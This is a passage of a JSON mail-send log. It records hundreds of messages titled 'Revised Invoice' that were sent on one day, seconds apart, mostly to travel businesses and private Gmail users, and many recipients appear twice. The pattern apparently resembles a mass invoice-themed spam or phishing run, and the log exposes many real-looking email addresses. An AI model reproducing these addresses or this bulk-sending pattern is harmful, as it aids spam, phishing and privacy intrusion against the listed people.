}, { "timestamp": "2025-09-16 13:31:50", "to": "Meghan.delpizzo@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:31:59", "to": "jbruskotter@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:32:08", "to": "marycrowers@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:32:17", "to": "hhcrim@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:32:26", "to": "info@mailva.evite.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:32:35", "to": "survey@trustyou.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:32:44", "to": "amye@bettingerphoto.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:32:53", "to": "alyssa.crowers@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:33:02", "to": "email@t1.tripadvisor.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:33:11", "to": "sales@southwestadventuretours.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:33:20", "to": "registration@t1.viator.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:33:29", "to": "Gwensgt@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:33:38", "to": "TravelwithVCT@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:33:47", "to": "Lizjacksontravel@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:33:56", "to": "tgseiver@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:34:05", "to": "eric@discover7travel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:34:14", "to": "Jen@brio.travel", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:34:23", "to": "merosg@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:34:32", "to": "rachelle928@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:34:41", "to": "marcycain1@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:34:50", "to": "karitannis@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:34:59", "to": "terri9269@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:35:24", "to": "Meghan.delpizzo@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:35:33", "to": "jbruskotter@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:35:42", "to": "marycrowers@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:35:51", "to": "hhcrim@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:00", "to": "info@mailva.evite.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:09", "to": "survey@trustyou.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:18", "to": "amye@bettingerphoto.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:24", "to": "olivia@nashtravelmanagement.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:27", "to": "alyssa.crowers@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:33", "to": "Blt.Karays@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:36", "to": "email@t1.tripadvisor.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:42", "to": "counselor@counseltravel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:45", "to": "sales@southwestadventuretours.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:51", "to": "tom@tomsmithtravel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:36:54", "to": "registration@t1.viator.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:00", "to": "desiree@alltravelguru.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:03", "to": "Gwensgt@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:09", "to": "gretchen@gem-travel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:12", "to": "TravelwithVCT@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:18", "to": "sarah@alltravelguru.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:21", "to": "Lizjacksontravel@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:27", "to": "maggie@alltravelguru.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:30", "to": "tgseiver@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:36", "to": "melissadavistravel@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:39", "to": "eric@discover7travel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:45", "to": "lindsey@alltravelguru.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:48", "to": "Jen@brio.travel", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:54", "to": "info@accessitaly.net", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:37:57", "to": "merosg@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:06", "to": "rachelle928@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:08", "to": "cheri@businessvictories.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:15", "to": "marcycain1@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:17", "to": "info@ctbiotech.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:24", "to": "karitannis@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:26", "to": "email@tapt.viator.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:33", "to": "terri9269@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:35", "to": "alicia.pulido@exprealty.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:42", "to": "cindie@alltravelguru.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:44", "to": "aconor@wheatfoods.org", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:53", "to": "parkhyattaviararesortcarlsbad@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:38:55", "to": "olivia@nashtravelmanagement.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:03", "to": "nancy@alltravelguru.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:04", "to": "Blt.Karays@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:12", "to": "info@hivedigitalstrategy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:13", "to": "counselor@counseltravel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:21", "to": "info@stgshuttle.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:22", "to": "tom@tomsmithtravel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:30", "to": "dave@teamkm.biz", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:31", "to": "desiree@alltravelguru.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:39", "to": "BGRAUBERG@GMAIL.COM", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:40", "to": "gretchen@gem-travel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:48", "to": "guenevere@tlportfolio.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:49", "to": "sarah@alltravelguru.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:57", "to": "jason2xs@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:39:58", "to": "maggie@alltravelguru.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:40:06", "to": "Ana@EmergingDestinations.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:40:07", "to": "melissadavistravel@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:40:15", "to": "course@golffacility.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:40:16", "to": "lindsey@alltravelguru.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:40:24", "to": "info@gotriphero.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:40:33", "to": "philipaston01@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:41:25", "to": "Jenna@EmergingDestinations.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:41:34", "to": "johnc@infinitecbd.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:41:43", "to": "info@fitnesslabco.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:41:52", "to": "ElevateEyecare@youreyedoctor.info", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:42:01", "to": "paperlesspost@paperlesspost.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:42:10", "to": "dan@infinitecbd.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:42:19", "to": "natalia@tlportfolio.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:42:29", "to": "reserve@t1.viator.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:42:38", "to": "info@thevacationrentalexperts.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:42:47", "to": "sswaving@tripadvisor.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:42:56", "to": "Jenna@emergingdestinations.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:43:05", "to": "info@tlportfolio.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:43:14", "to": "news@contexttravel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:43:23", "to": "fernanda@sapiens-travel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:43:32", "to": "bertrand@decouvertes.fr", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:43:41", "to": "info@voyagercollection.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:43:50", "to": "nicole.genta@aubergeresorts.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:43:59", "to": "ana@EmergingDestinations.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:44:08", "to": "luh.sulistiawati@lhm-hotels.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:44:17", "to": "info@karenblixencamp.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:44:26", "to": "vip@r-recommends.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:44:35", "to": "partner@taconnect.net", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:44:44", "to": "dbaca70@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:44:53", "to": "info@karenblixengroup.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:45:02", "to": "aliciabaca90@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:45:11", "to": "sarakellogg@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:45:20", "to": "stutzmanfamily12@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:45:29", "to": "weir.scott.m@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:45:38", "to": "info@mindovermountains.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:45:47", "to": "tibor@victoriasailingschool.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:45:56", "to": "silva.gildezio@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:46:05", "to": "jonathanholloman@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:46:14", "to": "irdar2018@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:46:47", "to": "Jenna@EmergingDestinations.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:46:56", "to": "johnc@infinitecbd.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:47:05", "to": "info@fitnesslabco.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:47:14", "to": "ElevateEyecare@youreyedoctor.info", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:47:23", "to": "paperlesspost@paperlesspost.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:47:32", "to": "dan@infinitecbd.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:47:41", "to": "natalia@tlportfolio.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:47:50", "to": "reserve@t1.viator.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:47:59", "to": "info@thevacationrentalexperts.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:48:08", "to": "sswaving@tripadvisor.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:48:17", "to": "Jenna@emergingdestinations.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:48:26", "to": "info@tlportfolio.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:48:35", "to": "news@contexttravel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:48:44", "to": "fernanda@sapiens-travel.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:48:53", "to": "bertrand@decouvertes.fr", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:49:02", "to": "info@voyagercollection.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:49:11", "to": "nicole.genta@aubergeresorts.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:49:20", "to": "ana@EmergingDestinations.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:49:29", "to": "luh.sulistiawati@lhm-hotels.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:49:38", "to": "info@karenblixencamp.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:49:47", "to": "vip@r-recommends.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:49:56", "to": "partner@taconnect.net", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:50:05", "to": "dbaca70@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:50:19", "to": "info@karenblixengroup.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:50:28", "to": "aliciabaca90@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:50:37", "to": "sarakellogg@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:50:46", "to": "stutzmanfamily12@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:50:55", "to": "weir.scott.m@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:51:04", "to": "info@mindovermountains.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:51:13", "to": "tibor@victoriasailingschool.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:51:22", "to": "silva.gildezio@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:51:31", "to": "jonathanholloman@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:51:40", "to": "irdar2018@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:53:30", "to": "marytbill.mb@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:53:39", "to": "salgaetano70@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:53:48", "to": "scismiles16@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:53:57", "to": "guest@houst.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:54:06", "to": "bob7fowler@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:54:15", "to": "dpthomas54backup@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:54:24", "to": "arbfla@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:54:33", "to": "brookewilliams9623@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:54:47", "to": "xiaojiao96@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:54:56", "to": "linda.p@assistantlaunch.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:55:05", "to": "brookswilliams9623@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:55:14", "to": "info@birddogs.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:55:23", "to": "iphotos@vallarta-adventures.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:55:32", "to": "linda.neese@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:55:41", "to": "nylalesa@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:55:50", "to": "kalecasey@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:55:59", "to": "milehighsaiyan@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:56:08", "to": "customer.care@getyourguide.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:56:17", "to": "brookewilliams8623@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:56:26", "to": "cynmcb84@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:56:35", "to": "kate_dulaney@engschools.net", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:56:45", "to": "eserena@uabc.edu.mx", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:56:54", "to": "info@dreamcatcherpr.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:57:03", "to": "llama.mama.ne@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:57:12", "to": "joe@thevacationrentalexperts.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:57:21", "to": "mnl.reservations@aubergeresorts.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:57:30", "to": "dr.f@semperhealthcare.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:57:39", "to": "leclosdelachapelle14@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:57:48", "to": "jgalbreath0@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:57:57", "to": "jchalmers312@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:58:06", "to": "pelleycj@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:58:15", "to": "kathleen.wood3@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:58:24", "to": "marnie@traveluntethered.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:59:44", "to": "info@dreamcatcherpr.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 13:59:53", "to": "llama.mama.ne@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:00:02", "to": "joe@thevacationrentalexperts.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:00:11", "to": "mnl.reservations@aubergeresorts.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:00:20", "to": "dr.f@semperhealthcare.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:00:29", "to": "leclosdelachapelle14@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:00:38", "to": "jgalbreath0@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:00:47", "to": "jchalmers312@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:00:56", "to": "pelleycj@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:01:05", "to": "kathleen.wood3@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:01:14", "to": "marnie@traveluntethered.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:01:23", "to": "hppelz@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:01:32", "to": "staynerblewis@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:01:41", "to": "sc00bylawless@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:01:50", "to": "claire@agency-technology.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:02:01", "to": "lindazennerbell@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:02:15", "to": "scoobylawless@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:02:24", "to": "stl.moreau@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:02:38", "to": "info@southwestadventuretours.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:02:47", "to": "mpelizza17@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:02:56", "to": "jschalmers4@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:03:05", "to": "dcconsular@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:03:14", "to": "scott@travefy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:03:23", "to": "mona@pelleygroup.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:03:32", "to": "tinaconnett@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:03:41", "to": "elizabeth.sophy@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:03:50", "to": "visatovn@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:03:59", "to": "monacanhelp@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:04:08", "to": "ostewart111@msaschool.org", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:04:17", "to": "philipaston01@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:06:16", "to": "info@srilankabycar.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:06:25", "to": "barbaraevans1760@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:06:34", "to": "elizabethsophy@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:06:43", "to": "hdunham62@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:06:52", "to": "jwickliff303@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:07:01", "to": "nora@dua.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:07:11", "to": "engage@atl.limo", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:07:19", "to": "lgookin1@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:07:29", "to": "danielleragas@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:07:37", "to": "meghan.pelley@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:07:46", "to": "tssieb@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:07:55", "to": "lesliechristinac@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:08:04", "to": "hrhoward12@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:08:13", "to": "lee@agency-technology.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:08:22", "to": "lindaharmon7@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:08:31", "to": "Barbaraevans1760@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:08:40", "to": "dirttechexcavation1@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:08:50", "to": "darby@texaswheat.org", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:08:59", "to": "steven.erfman@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:09:08", "to": "terraleigh.mha@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:09:17", "to": "kelsey.r.walker2526@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:09:26", 